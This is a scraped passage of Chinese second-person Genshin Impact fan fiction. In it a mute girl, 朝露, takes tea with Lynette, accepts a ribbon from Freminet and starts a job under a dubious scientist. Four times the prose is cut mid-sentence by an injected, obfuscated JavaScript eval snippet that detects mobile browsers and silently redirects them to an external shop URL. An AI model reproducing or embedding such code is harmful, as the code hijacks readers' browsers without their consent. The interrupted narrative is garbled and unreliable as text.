她喜欢朝露那双漆黑的像是折射不出光芒的眼睛,会感到安心。 “……琳妮特。”在琳妮特看着这条发带的时候,一个声音幽幽地在她身后响起。 是菲米尼。 “朝露……她会有她自己的路。”菲米尼沉默半晌,最终说出了这样的话。这个沉默又内向的少年看着琳妮特,用苍蓝的眼眸看着自己的家人。 作为家人,菲米尼不会去点评琳妮特做得对不对。他知道,他们都知道,有的时候他们别无选择。能够找到自己喜欢的事物很好,像是琳妮特的下午茶,像是菲米尼的潜水和修理机械;但把这样浓厚的情感寄托在别人身上,真的不会受伤吗。 菲米尼脸上的雀斑如同和它的主人一样在劝诫着琳妮特。 他看到了琳妮特在这样堪称畸形的关系中的痛苦。朝露没有非留下不可的意愿,而琳妮特有非朝露不可的理由。对再次相遇的期待感、对不会再见的不安感、对朝露本身的情感……各种情感交织在一起,错综复杂。 琳妮特读懂了菲米尼对自己的关心。 “我知道的。”琳妮特回应,身后细长的尾巴下垂,像是说给菲米尼听,又像是说给自己听,她又一次重复:“我知道的。”她知道她不可能把一团燃烧的火藏进影子里。 ……会熄灭的吧,那样明亮的火焰。一方面被火焰灼烧,一方面又怕火焰熄灭;为自己而痛苦,又为朝露被束缚而痛苦。 在这个时候,琳妮特忽然想起了林尼说的话,“琳妮特,无论如何,你还有我。”那张相似的脸庞上的神情认真。她闭上眼睛,琳妮特知道林尼的意思。 她会的。她会勤勤恳恳地练习和表演魔术,会兢兢业业地执行任务,会照旧泡茶撸猫喝下午茶,会……给自己留下喘息的空间。 * 想起之前的事情,琳妮特微不可见地叹了一口气,视线随意扫过下方准备关窗,就看到了一个小小的身影出现在公馆前。 没有婴儿肥的素净脸蛋,一头红发披洒在身后,一手撑着黑色的伞,一手提着盒子。是朝露! 那一瞬间,琳妮特的眼睛亮了起来,怕是琳妮特都意识到现在的她眼睛有多亮。 - 你完成了任务,于是来履行你的承诺。 你答应过琳妮特会给她带晶螺糕的,也答应过林尼给他带礼物。你还有一件事要和菲米尼说。 其实,你想过随便上门可能会遇到他们都不在的情况。没关系,前两个的礼物都可以转交,菲米尼的事情也可以下次再说,你完全可以把这当成一次普通的散步。 只是你没有预料到,你刚走到布法蒂公馆的门前,还没来得及腾出手敲门,门就自己开了,露出门后人有着星星图案的精致的脸。 是琳妮特。 一手向前把盒子递给琳妮特,进到布法蒂公馆的你另一只手完成了单手收伞的动作。“伞放这里。”琳妮特指着一个地方跟你介绍,那里摆着一个镂空的架子,立起了许多把伞,架子下方似乎留有空隙来专门承接雨水。 你黑色的伞放在里面就像完美地融了进去。 移开视线,你跟着琳妮特来到桌前,面对面坐下。此时,琳妮特也十分自然地把你带来的盒子放到桌上,那双紫眸柔和地注视着你。 ……不知道为什么,琳妮特的视线像是有重量一样,你抿了抿唇,把其中一个盒子拿出来推向琳妮特。这是你用蛋、糖、面粉和黄油做出来的晶螺糕,你特意用了能保温的盒子来装,相信现在的它还是松软又可口的小甜点。 你抬了抬下巴,在琳妮特的眼里,此时的你就像是外出捕猎归来的猫咪,正得意洋洋地把猎物推给主人。她看着你隐蔽地弯了弯唇角,没有让你发现,而是从善如流地顺着你的指示拆开了那个盒子。 一份还热乎的晶螺糕出现在了琳妮特的面前。 ‘当初说要给你带晶螺糕的。’从你那双漂亮的眼睛里,琳妮特读出了这样的话。足够坦然,足够理直气壮。 好可爱。 “啊……”琳妮特发出意味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16186353|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不明的声音,你眨了眨眼,看着她在你的面前一手握拳轻砸在另一只手的掌心上,做出恍然的神情:“也许,你愿意和我一起喝下午茶吗?”她这么说着,像是为了让你更好地听清,琳妮特向你微微伏低了身子,那张精致得无可挑剔的脸在你眼前放大开来。 你似是受惊,黑色的瞳孔一瞬间缩成了针状。 可、可以的。回过神,你对着琳妮特点点头,同意了她的提议。看着琳妮特起身去泡茶,你还在思考自己刚才的反应。大概,应该是因为因为一个身形比你大的生物忽然向你逼近所带来的压迫感吧。 你自以为找到了答案,把自己潜意识做出的反应抛到脑后。 就算会遇到危险,在危险发生的时候能够给出你满意的应对方法就可以。其他的,无所谓。 没过一会儿,琳妮特端着两杯茶汤呈橙红色的茶水步伐稳当地走了过来,“铛”的一声,她把一杯茶放到你面前,杯具与桌子间发出碰撞的声音。“需要加牛奶吗。”琳妮特问你,脸上没什么表情的少女站在你的身边还没坐下,身后的尾巴翘起,左右轻轻摇晃。 你没有关注琳妮特的尾巴,注意力都在琳妮特的话上。茶,和牛奶?没有喝过茶的你不知道茶水是什么味道的,但你知道牛奶是什么味道。 不知道+知道=? 你朝琳妮特郑重地点了点头。反正都是喝的,只要喝了不闹肚子就行。又或者喝了闹肚子也不是不可以,死不了就行。 * 很快,琳妮特拿着两瓶未开封的牛奶走了过来,她把一瓶牛奶当着你的面拧开瓶盖又拧回去才递给你,然后重新坐到你的对面。 “热气腾腾的茶加了牛奶会更快达到入口温度。”在你目光在茶杯和牛奶间来回逡巡的时候,琳妮特平淡地开口。 虽然平时会泡茶,但琳妮特不是那种坚定地认为“茶就是茶,怎么能和其他东西混在一起呢!”的人,对流浪过的人来说,名头说得再响亮也只是一杯饮品,能解渴、能让干涸的喉咙变得湿润就可以。 而且,清冽的茶水和牛奶顺滑的口感搭配在一起,说不定你会很喜欢呢?小孩子多喝一点牛奶也很好。琳妮特不动声色地想,在你面前把茶和牛奶混在一起,用小茶匙搅拌均匀了慢慢品尝。 - 你看着琳妮特的动作,没有从她的表情上看出来这杯混合的饮品味道如何。于是,你重新低下头打量这杯没有装满的橙红色的茶,拧开牛奶的瓶盖,加了一点牛奶到茶水里,接着模仿着琳妮特的样子把茶端起来喝了一口。 ……是复合味道的水。 你对手中的饮品下了定义。同时又重复加奶的动作,还可以,不难喝。 “张嘴。”你忽然听到琳妮特这么对你说,接着是一块晶螺糕被递到你的嘴边。你眨眨眼,张开嘴就叼住了那块晶螺糕,几下就把它咬碎了咽进肚子。 这次做的还行,能吃。 不知道为什么,可能是出于礼尚往来,你捻起一块晶螺糕伸长了手同样递到琳妮特的嘴边,虽然没有说话,你眼里流露出的意思却很明显:吃。 没想到你会这么做,琳妮特弯了弯她那双紫色眼眸,近乎温顺地张嘴咬住了那块晶螺糕。 41.枫丹篇-10 加了牛奶变得温热的红茶被你咽进肚子里,似乎驱散了你撑伞一路走来身上染的寒意。 “朝露,可以告诉我你这次去做任务遇到了什么事吗,”由于你说不了话,你们之间的下午茶时光以静谧为主调,偶尔会有茶杯被拿起又放下的声响,空气中仿佛流淌着无声而又温馨的气息,而琳妮特忽然平静地打破了这种沉默:“和你有关的事我都想听。” 是在问这次的经历啊,你眨了眨眼,抬头看向琳妮特,你看到了她脸颊边垂下的发丝,看到了她脸上好像也在等着你回应的星星。也没什么不能说的,你这样想着,咽下口中的液体,掏出了写字板。 要写点什么好呢。你想到了取货路上买了法器又被别人堵路、好不容易登船又遇到人贩子的经历,想到了送货途中遇到一个来自枫丹科学院的人、然后莫名其妙地你在对方的指导下借助枫丹特有的荒芒能量改造起了对方拿出的热气球,接着变成你搭着热气球去送货、到的时候比截止时间还早了五天,最后是你自己也不知道怎么回事便有了一份在那个科学家手下干活的工作。 ……全都说好麻烦。你提笔写下[坐巡轨船去拿东西,拿到东西后,坐热气球去送货。]你回答得言简意赅。 对于你的描述,她有什么想问的话问了你再补充就是了。 你认为,这一趟任务中发生的事情都没什么太大的区别,都是可能性的绵延,而你成功完成任务回来了,这就是结果。 你写得坦坦荡荡,而琳妮特看得满脸茫然,眼睛不知不觉变成了豆豆眼。 - 热气球,是怎么出现在这句话里的?琳妮特困惑,并且问了出来。 她看着对面的小女孩听到问题后眨眨眼,不算大的手捏着笔写下回答,琳妮特一个个提问,朝露也一个个地解答,手臂曲起的锐角不断移动。随着朝露写下的解答越来越多,琳妮特心中的困惑反而也越来越多。 什么叫,遇到一个看着像科学家的人,接受了对方的邀请?琳妮特觉得不对劲。猫耳少女微微抬了抬视线,避开朝露一如既往没有波澜的、如同在诉说别人的经历一般的目光,她看向了朝露脑袋上的发旋。 那是她平视的时候还需要垂眼才能看到的发旋。 朝露还这么小呢。还是个小孩子呢。为什么一个科学家会向她发出邀请?琳妮特想到了自己和林尼曾经的经历。 起初被收养的琳妮特和林尼也是天真的,天真地以为自己真的拥有了一个可以落脚的地方。直到那天林尼外出挣钱,而阿蕾奇诺于鲜血淋漓中救下了那个长着猫耳和猫尾的女孩。 当时他们以为自己是通过魔术的技巧、通过表演魔术赚来的钱做利益来换取一个“家”,结果发现自己本身同样是被摆在筹码堆里的“利益”。 那么,那个不知道是不是真的“科学家”会想从朝露身上拿走什么呢。琳妮特不知道,她只是知道朝露才七岁,整个人就像洋娃娃一样能被人完全抱在怀里,浑身上下都没有多少肉,只有那头红发鲜艳得像是雪里上的玫瑰,只有那双黑眸如同天空中闪耀的星子。 琳妮特认为那个对朝露发出邀请的“科学家”有问题。直接说出来会让朝露伤心吗,可是让朝露怀揣期待又受到伤害才更不应该。 虽然朝露好像从来都没有表现出伤心的神色,但琳妮特依然把她看做一个脆弱的需要照料的小女孩。不是没有表现出来,那些迷茫与难过就可以当做不存在的。 琳妮特头上的耳朵动了动,要怎么说才可以既不打击到朝露又能让朝露有所防备呢,由一个大大的蓝色蝴蝶结把落在脑后的长发束起的少女思考。 * 琳妮特,好像在想些什么没有必要的东西。 太明显了,坐在你对面的人浑身都写满了“哎呀她会不会是被人骗了”、“我要怎么说才能不伤害到她呢”、“好担心好担心”类似这样的话语。 你:…… 有时候真的会想建议别人没事做就去随便干点什么,别什么都乱想。 你不喜欢被别人完全当做小孩子来看待,可琳妮特说到底也是一番好意,不管怎样,好意都是珍贵的。 你把之前写在写字板上的内容全都擦掉,重新写下[我知道他想从我身上得到什么,但我不愿意给的东西,他是拿不走的。]你的笔锋凌厉,即便因为年龄而稍显稚嫩的笔迹也透出冷意。 你真的不知道那个“科学家”有问题吗?你知道,你甚至知道科学家这个身份说不定都只是对方的一个伪装。嗯?都知道对方有问题了为什么还答应?为什么不答应。 你需要把货物运到目的地,对方给你提供荒芒能量和飞行器供你使用。你需要一个落脚点和一份工作,对方也给了。 他敢给你就敢要。 你回想起那个戴着眼镜的男人,眸光似乎都被他敛在镜片之后,让人看不清他的真实想法。你同样清楚原本对方对你没有兴趣,是在你根据简短的说明书用荒芒力量成功改造了飞行器之后对方才看了看你,微笑着向你提出申请。 根据你的“等价交换”原则,你把对方给的东西放上心中的天平,又在另一端放上你的价码。 天平不偏不倚。 如果他当真想从你身上获得什么,那就来拿吧,只要他拿得走。你是这样认为的。 - 真是个执拗的孩子。 琳妮特温柔又有些无奈地看着面前的红发女孩,有时候,不是不想坏事情就不会发生的呀。 但朝露那双黑眸中流露出的的意思足够笃定,那双漆黑的眼睛在说无论会迎来怎样的结局,她都能接受。 是对她无声又委婉的拒绝,琳妮特想。 琳妮特知道朝露的过去,自菲米尼把朝露带回来那时起她就有在着手调查了。朝露过得不算很好,明明是亲生父母。想到自己调查到的资料,琳妮特的心泛起了酸涩,当要靠着“交换”才能留在那个地方的朝露知道自己的父母疼爱着另一个孩子的时候,那个小女孩会不会掉眼泪? 琳妮特不知道,她也做不到穿越时间去给那个小女孩擦眼泪。 但琳妮特知道,这个话题再继续下去朝露会不开心。在心里发出一声叹息,琳妮特抿一口红茶,把自己其他想说的话连同茶水一起咽下去,她面上依然平静,对着面前的朝露说道:“你之前说有事要和菲米尼说,要趁现在找他吗。” 双腿交叠在一起,坐姿放松的少女面无表情又气息柔和地对面前的红发女孩提建议:“菲米尼就在他的房间里。” * ?菲米尼? 话题为什么会忽然转移到菲米尼身上。不过你确实有话想告诉菲米尼。 只是,情况好像又和之前不一样了。脱离了那时的环境之后,你没有了那种狂热的想要养菲米尼的念头,如同喷泉中喷出的水,越过最高处便开始向下坠去。不过无论那种情况,你都会支持你自己的话。 你曾经跟他们的父亲大人说过你想养菲米尼的。所以,即便你已经不再那样期待,可如果菲米尼愿意跟你走的话,你还是愿意带他走的。你会践行自己的诺言,哪怕现在的你有点不明白过去的自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16205065|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么会这样想。 但没关系,你愿意去做,去为你自己的每个想法付诸行动。在现在实现过去的心愿,在未来实现现在的心愿,这样一想,会不会你未来的心愿已经在过去实现了呢。如同莫比乌斯环一样首尾相接的人生。 你接纳你的每个选择,只要你不是出于他人的强迫、只要你发自内心地这样认为,哪怕朝令夕改也无所谓,这样反复的变换同样是你意志的体现。 - 你走到了菲米尼的房间前,紧闭的房门昭示着里面有人。你不轻不重地在门上敲了三下,跟着你一起来的琳妮特开口:“菲米尼,是朝露来找你了。”说完,你们两个站在门口等着菲米尼来开门。 不知道是不是你的错觉, 在听到你们的动静时,房间里似乎传来什么东西被碰落在地面的声音。 没让你们等很久,淡金色发的少年打开了他的房门:“有什么事情吗……”菲米尼低下头问你,也许是因为今天是他的休息日?菲米尼此时没有穿他的潜水服,而是穿了一身常服,显得十分家居。 [菲米尼,给你我的地址,如果以后有事情的话可以到这个地方找我。]你当着菲米尼的面写下这样的内容,又面色不改地补充[你愿意的话,可以跟我走,我会养你。] 虽说你过两天就要去那个“科学家”所说的地方工作,可能没有太多时间,但对方摩拉还是给的很足的,你可以给菲米尼多多的零花钱。 不过,还是得看菲米尼怎么想。有的人会离开自己生长的环境,比如你;有的人会对自己所在的环境产生依恋、不愿与自己的亲朋好友告别,都是可以的。也就是两种可能性的绵延而已。 有琳妮特和林尼在,有他尊敬的父亲大人在,你其实知道菲米尼不大可能跟着你离开。没关系,你本就是因为被他救了所以想要回报,这是你个人的意愿,不应该让他感到为难。 其实,你就只是想告诉菲米尼有事情可以来找你,你不一定能解决,但会尽力帮忙,这样而已。 你等着菲米尼的出声拒绝,大概会是“谢谢你的好意,但不用了”或者“我的家人都在这里”之类的回复?你等了等,没有等到菲米尼的拒绝。 嗯?是你对菲米尼的猜测出错了,他想跟着你走?也行,反正你目前住的房子里不止一个房间。 比起房间的问题,倒是你的猜测可能出问题了更让你在意。只是这种基础的观察,你一般不会出错吧……你重新认真地看向菲米尼,发现他苍蓝色的眼眸里满是震惊,整个人一副懵了的样子。 好的,没事了,不是你的观察有问题,是他还没反应过来罢了。 “不、不用了,”菲米尼磕磕绊绊地回应,看来你的话确实给了他很大的震撼:“我是不会自己离开壁炉之家的。”尽管回应得磕磕绊绊,但十分坚定。 * 下午茶吃了,礼物送到了,要传达的内容也传达了,菲米尼的回应你也知道了,那么接下来你就该告辞了。 再晚一点可能要等很久才能等到巡轨船的,你不太想夜晚赶路。 [总之,我要说的说完了,再见。]听了菲米尼的回复,你起初只想写[再见]就够了,但这样看起来你似乎对菲米尼的拒绝很不满意,于是你又添了几个字。 展示完了写字板上的内容,你转身准备离开,就被菲米尼叫住:“等等。” 还有什么事吗,你确定你该做的都做完了。不过既然是菲米尼……可以。你停下脚步,重新看向菲米尼。 希望不要耽搁太多时间。 42.枫丹篇-11 “有个礼物,想送给你。”菲米尼听到自己的声音响起。奇怪,他原来想说的是这个吗。 面前红发的女孩正看着自己,一副等着他继续的样子。见状,菲米尼抿抿唇,转身走回房间里,再出来时手上已经多了一条酒红色的绸带:“……看到的时候,感觉很适合你。”对视着朝露似乎什么都能看透的眼睛,菲米尼苍白地解释。 没再多说什么,菲米尼向朝露伸出手,手上托着质地柔软的绸带,他等着朝露从自己的手中接过这份没有包装的礼物。但朝露没有伸手,反而对着他低下头颅。 菲米尼的视角下,朝露的脸显得更小了,那头红发更多地展现在她的眼前。低头这个动作……是要他来帮忙绑头发吗?菲米尼小声地问出来,得到女孩矜持点头的应答。 他可以的,这没什么,菲米尼一边在心里给自己打气,一边僵硬地伸出手向朝露的头发探去,没什么的,他曾经也给壁炉之家的小孩子扎过辫子,现在只是要把朝露的头发绑起来而已,很简单的。 想是这么想,该紧张的还是紧张。菲米尼用舌尖抵住上颚,不让自己把紧张的一面展示出来。当他走到朝露的背后、当他的手碰到朝露的头发的时候,菲米尼一愣,她的头发,摸起来如同干枯的稻草,有点刺挠。 但依然鲜红的夺目,仿佛汲取了身体主人的血液生长一般。菲米尼两只手把朝露的头发全都拢到中间,五指成梳穿梭在她的发间,一点点地为她打理着这美丽而妖冶的红发。他曾看到过一个说法,据说发心周围的头发硬硬的按不下去的小孩脾气都很犟。 朝露的发心就很硬。 菲米尼一声不吭地脑子里想了很多东西,手上的动作依然细致而平稳,能够修理各种机械的灵巧双手此时又一次发挥了他的作用。最后,菲米尼在朝露的头发中下部用绸带绑了一个大大的蝴蝶结。 - 菲米尼原本打定主意要问朝露愿不愿意被他收养的,在朝露和琳妮特敲开他的房门之前。 结果这个想法和计划在朝露问他要不要跟她走的字迹中破碎了。菲米尼知道他不必再问出口,朝露不会同意。那个地址,是她现在的住处吗。 看来,朝露确实把父亲大人给的任务完成得很好,还有余力去实现她想做的事情。她已经开始了她新的生活,这个大多数时候腼腆又内向的少年敏锐地察觉到了这一点。 好神奇的局面。都想让对方留在自己身边,却又都不同意。 平心而论,菲米尼知道也许这样是最好的结局,他和朝露可以就此回归自己的生活,如同两条位于不同平面的直线,只是在某个角度之下、在他们意外的相遇时,两条异面直线之间产生了一个交错的点。 菲米尼知道这样会是最好的,他可以不用再思考有关朝露的一切事情,可以不用因为对方的靠近而紧张,可以有更多的时间去做他喜欢的事情,可以把更多的精力转移到壁炉之家里的设备维修和他自己的潜水事业中。 他可以回到自己之前的生活中。 可是,淡金色发的少年偏过头,苍蓝的眼中映照出琳妮特站在朝露身边轻松的神情,映照出琳妮特悠闲晃动的尾巴。 菲米尼回想起了他之前和琳妮特关于朝露的交谈。其实琳妮特没有表现出什么异常,她依然是林尼隐匿于影中的魔术助手,她依然是壁炉之家的一员,她依然是那个脸上有着星星图案的没什么表情的少女。 她只是变得更喜欢坐在窗前,看着远处发呆。和以往不同的发呆,念着朝露名字的发呆。 这样的话,要是哪天朝露站在了壁炉之家的对立面……琳妮特会怎样呢。不是所有的人都不会对和愚人众有关的壁炉之家没有偏见的,也不是所有没有偏见的人都不会站在壁炉之家的对立面。 就像是几年前林尼和琳妮特表演魔术的过程中有少女消失,他们因为愚人众的身份被揭露而一度成为众矢之的。菲米尼不愿意随便恶意揣测别人,但朝露倘若因为某些事情站在了对立面……倘若那天朝露成为了他们的任务对象,成为了他们要解决的人,琳妮特该怎么办。 当听到菲米尼小声地问出这样的问题,那时坐在窗边的猫耳少女像是一点都不意外,平静地抿了一口茶,嘴角微微扬起想要做出一个轻松的表情:“如果真的到了这样的地步,我会给朝露一个痛快的。我会尽可能地,让她在没有痛苦中离开这个世界。” 说着琳妮特的呼吸乱了半拍,她闭上眼睛,原本微扬的嘴角落下,反倒显得自然了许多。那时的琳妮特因为当天魔术的要求,脸上贴了林尼的泪珠图案,看上去就像是琳妮特因为这个问题而哭泣一样。 他们都知道的,他们是壁炉之家的人,他们会为了生存去做一些别人无法接受的事,他们会遭受别人异样的眼光,他们也许会在任务中痛苦地死亡,但,只要他们回到这里,只要他们依偎在壁炉旁,他们都能感受到温暖。 …… 菲米尼在意着他的[家人],他不想看到琳妮特因为这些事情难过。 其实是有办法避免这样的局面的,不是吗。等菲米尼回到自己的房间后,他扪心叩问自己,只要让朝露不会站在他们的对立面、不是那样无法转圜的局面就可以了。他一定有办法的。 菲米尼抱膝坐在地上,他把头埋进膝弯,淡金的发丝垂下,无人能窥见他的表情。他有办法的,只要他和朝露的关系变得密切,只要朝露愿意,她就不会和他们为敌。 他从一开始就不喜欢那个红发黑眼的小女孩,却又洞察了她会为在意的人而退让的纯粹的心。菲米尼知道,自己这样的行为可以说是在利用一个无辜的小女孩。但,在形成的漩涡里,被牵扯的每个人都不能脱身,要么旋涡消失,要么纠缠至死。 从看到朝露的第一眼,菲米尼就知道她是那种会心甘情愿地卸下防备、任由她在意的人把刀子捅进她心脏的人。 ……是像他的妈妈一样,愿意为了自己爱的人付出一切的人。 没有开灯的世界里,只有发条企鹅佩伊见证了菲米尼的沉默。 * 是,发带?你看着菲米尼拿出来的东西,有些不确定。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16225603|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是你没见过这种东西,是你从来没把自己和这种柔软的、并不具备多少实用性的、更多情况下只是个漂亮摆设的东西联系在一起。 作为礼物的话,也不是不可以接受。你百无聊赖地想,低下头示意菲米尼帮你扎头发。你能感受到菲米尼带有茧子的在你的发间穿梭,他的动作很轻柔,仿佛在怕把你弄痛一般。 有那么一瞬间,随着头发上传来的抚摸,你觉得现在或许是个晒太阳的好时候。 不过,你该走了。等菲米尼松开手,跟你说已经可以了之后,你略有些好奇伸手向自己的身后探去,被扎起的发尾在你的手心里留下酥酥麻麻的感觉。 你轻轻朝左右两边扭动脖子,感受着脑袋后面的头发跟着你的动作甩动的感觉。以前的无拘无束的在空气中洋洋洒洒的感觉,现在……会有一种下坠感,让你觉得自己确实是双脚站在大地上的。 这种感觉也不坏。你眨了眨眼,向他们告别。 没等回应,你转身向门外走去,走到门边的时候从一旁的架子里抽出了你带来的黑色雨伞。 你撑开雨伞,重新走到雨中,小小的身影逐渐被雨线模糊。 菲米尼和琳妮特目送着你一连串的丝滑动作,转身时在空中飞扬的酒红色蝴蝶结、扭转的从架子里提出起雨伞的手腕、迈开的细细的双腿。 直到朝露把门合上,菲米尼才迟来地开口:“啊……她拿错伞了。”说着,他转头看向琳妮特,苍蓝的眼眸看到了琳妮特翘起的嘴角:“是的。她拿成了我的伞。”猫耳少女微抬起下巴双手抱胸:“所以,现在她的伞是我的了。” - 还好,当你走到巡轨船经过的地方时,刚好有一艘巡轨船开到了这里,你没有超过时间,不用自己走回自己的房子。 已然昏黑的天幕上隐约有零碎的星子闪烁,你付了摩拉登船,进入巡轨船的内部时收起伞放在自己的身边,接过美露莘领航员给你递来的热茶:“唔,喝点茶会好受一点吧。”和你差不多高的美露莘在你面前摆着小手跟你解释这样的道理,像是把你当成了那种害怕喝药的小孩。 你朝美露莘点了点头,做出“谢谢”的口型后拿着碗一饮而尽,扬起的脖子上不显眼的喉结滚动,把碗递回给美露莘。 由于枫丹连年下雨,巡轨船通常会向登船的行人发放热茶,供在雨中行走的、染了湿气的人们暖暖身子。 美露莘接过碗,你看到她歪了歪头,似乎不明白你为什么没有发出声音,很快又拿着碗走掉了。 ……很快,你就能回到你的房子了吧,这样想着,你垂下眼眸,不经意瞥见自己手边的伞柄上有一个猫猫头。 ? 本来有这个猫猫头的吗?可能本来就有吧,毕竟你只是在买伞具的店里随手拿了一把,也没怎么观察。当然,也不排除你在壁炉之家那里拿错了伞。 唔,没什么吧,你也留下了自己的伞。如果两把伞之间有差价的话,多的就算那个人赚了,少的就算那个人倒霉。你不在意地想,合眼稍作休息。 43.枫丹篇-12 你回到了你的住处。 抬步从巡轨船上离开,天上仍下着淅淅沥沥的小雨,你撑起伞走进夜色。刚下船,你就不由眯起了眼眸又很快松展开眉眼,此时的你已经适应了黑暗,能够透过一片朦朦胧胧的黑色依稀辨认出自己的住处。 还不饿,回到屋子里的你打开灯后摸摸自己的肚子,想了想,拿出一块面包放到桌子上,准备拿来当明天的早餐。虽然会做饭,但在你离开那个地方的这段时间里,你大多时候都是选择更为简便的方式来解决进食问题。 做饭很麻烦,收拾也很麻烦。不排除你以后会从中找到乐趣或是因为什么而决定继续做饭,至少你现在更愿意随便吃点东西,更愿意用能长时间保存的食物填充你的房间。 收拾一番、又把放在厨房里用水泡着的用来做晶螺糕的碗碟和用具洗干净,你打了个呵欠,抬手按灭灯光,你很快躺上了柔软的床。 - 骤然发出光芒的房子又重归黑暗,窗边厚实的帘子盖得紧紧的,透不进一丝月光,无从照亮那个蜷缩在被褥间的小小人影。 * 你的生物钟叫醒了你。 当意识回归躯体,你坐起来,柔软的手指从自己的眼下抚过,停留在眼尾处揉了揉。曾经看到的书上说,人之所以能够看到东西是因为有一个叫做视网膜的结构依附在眼球外面,经常揉眼睛会想揉开两张黏在一起的纸一样把视网膜给搓开。 说实话,你不知道这个说法是真是假,报纸上的陈词经常今天确立明天又推翻;你也不能肯定人体是否存在视网膜这样一个结构。证实还是证伪?最直观的就是你亲眼见到这个过程。 证明它真实,证明它虚假。并且沉默地听着可能存在的哀嚎与痛哭,见证血与泪一同落下。会得到什么?一个也许需要再次精确的结论。 你不是没有见过血腥,过去负责做饭的你经常捏着刀从侧面剖开鱼腹——在枫丹这个地方,鱼和各类海产是最常见的食物——流出的红色血液起初沾了你满手。面对想要威胁你的人,你也不会下不去手。只是,没有必要因为这种原因就牵扯其他人。 如果可以、或者说最理想的情况是,你自己成为你的实验品,你自己成为你的观察对象,你自己去做你的观测者。在这具不算大的身体上,只要你想,你甚至可以用刀子割开自己的皮肤,观察皮肤下的纹路、观察血肉是如何依附在骨头上的。 你完全不必担心实验体挣扎反击的问题,也不用考虑万一实验体出事了要怎么善后的问题。 只是,你不会这么做。 “总要有点什么,支撑你前行。那是人之所以为人、之所以脱胎于其他物种的根源。”在你很小的时候,你在废纸上读到这样一句话。 总要有点什么的,求知的结果并不能让你感到非常高兴,与其说你期待结果,不如说你更享受求知的过程。那种可以全身心投入某件事请的、把什么抽丝剥茧还原出本貌的感觉。 所以,为了能被称之为“人”,你会有你的“底线”,你会对自己许下一个个愿望,由未来的你逐一兑现;你会回应过去自己的每个想法,哪怕现在的你可能无法理解过去的你。 你抬起手,小小的手掌在空中竖起,如同用五根指头的指腹贴上一面看不见的墙壁,你似乎与谁手掌相对,在自己的房间里无声地做出口型:朝露,早安。 恭喜你又活过了一天。 - 简单地洗漱完,你热了热早餐,小口小口地吃下变得柔软但离可口还有一定距离的面包,接下来,你就要去开始你的工作了。 临出门前,你清点了一番自己的东西:之前买的法器、写字板、雨伞、装有摩拉的袋子,还有从某位科学家那里得到的一张“门卡”。 东西都带齐了,你推开屋子的门,外面的地是湿的,今天依然是枫丹的雨天。好像之前在巡轨船上的时候隐隐约约听到有人说欧庇克莱歌剧院的一次审判又要开始了,不过,这和你并无关系。 你只是从善如流地撑开伞,五指并拢握住雨伞直柄与弯折的交界处,又一次踏入雨中。 枫丹的雨仿佛谁人的泪水,永远流不尽。 * 你接下来的日子过得平淡无波。 手上的工作平稳地进行,你并不常见到那位把你招来的科学家,更多的是和他手下的人一起给他打杂。你无法理解周围人对他的狂热态度,也不需要去理解。 虽然一开始由于是被那位笑起来很奇怪的科学家带来而被你的同事“考验”了一番,又听着他们嘀嘀咕咕说什么以你的水平、那位大人究竟看上了你什么,无所谓,你是这里起点最低的那个人,同样是进步最快的那个人。 实际上,你跟上这里其他人的进度,花了两周零三天的时间。 - 在你跟上进度之后,你的同事惊为天人,连夜把你的表现上报给那位科学家了,你也因此,获得了更多的工作。 你:……? 你觉得,你需要声明的一点是,你喜欢的是自己汲取知识的感觉,不是给别人当牛做马的体验。你来工作的原则只是收多少钱就办多少的事。 这对你来说只是一份工作,一份可以随时更换的工作。归根结底,是“交易”。这场交易里,双方都有选择结束的权利。 于是,你请假了。 因为,你收下了摩拉和房子,所以现在还不到你辞职的时候;因为,他还没有从你身上得到他感兴趣的东西,所以他不会开除你。加工作和请假,说到底是你和那位科学家之间的一种、“较量”?或者说是拉扯。 在基本框架没有发生变动的情况下,这种拉扯不过是一种“信号”。代替言语,又足够直白。 趁着请假的时间,你跑到枫丹廷里吃了顿美食。 由薄薄的肉片包裹培根和其他配菜煎煮而成的兽肉旋风、经由类似杯子的器具装载的肉类与咖啡组成的肉肉盛宴餐,还有一份热乎的枫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 